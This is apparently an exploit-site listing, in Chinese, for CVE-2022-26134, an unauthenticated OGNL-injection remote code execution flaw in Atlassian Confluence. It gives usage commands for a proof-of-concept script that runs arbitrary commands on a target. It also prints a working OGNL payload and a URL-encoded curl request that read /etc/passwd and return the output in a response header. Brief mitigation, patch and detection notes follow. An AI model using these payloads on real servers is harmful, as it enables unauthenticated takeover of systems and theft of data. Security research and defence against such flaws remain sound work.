## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITLAB-0XSAMY-CVE-2022-26134
### CVE-2022-26134 - OGNL 注入漏洞。
概念验证脚本，利用影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞。OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。
### 受影响版本
所有受支持的 Confluence Server 和 Data Center 版本均受影响。
Confluence Server 和 Data Center 版本 1.3.0 之后、7.18.1 之前的版本均受影响。
该漏洞的 CVSS 严重性评分为 10 分（满分 10 分）。
### 依赖项：
* Python 3.3+
* 可以通过 pip install -r requirements.txt 安装依赖项
### 使用方法：
克隆仓库
root@kitploit:~
git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134
然后你可以按如下方式运行漏洞利用程序并执行你选择的命令：
root@kitploit:~
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"
### 视频概念验证
### Payload（有效载荷）
root@kitploit:~
${(#some-email@example.com@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
使用 CURL 命令的示例：
root@kitploit:~
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
然后，命令的执行结果将反映在响应头中的 `X-Cmd-Response` 参数中。
### 来自厂商的缓解指南
遵循 Atlassian 的官方建议：
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
### 已修补版本
Atlassian 已发布包含此问题修复的版本：7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4 和 7.18.1。
### 检测能力
此漏洞影响所有自托管实例。如果你使用 WAF，你可以拦截包含 `${` 的 URL。
YARA（由 Volexity 提供）：https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
### 注意
仅供教育目的使用。
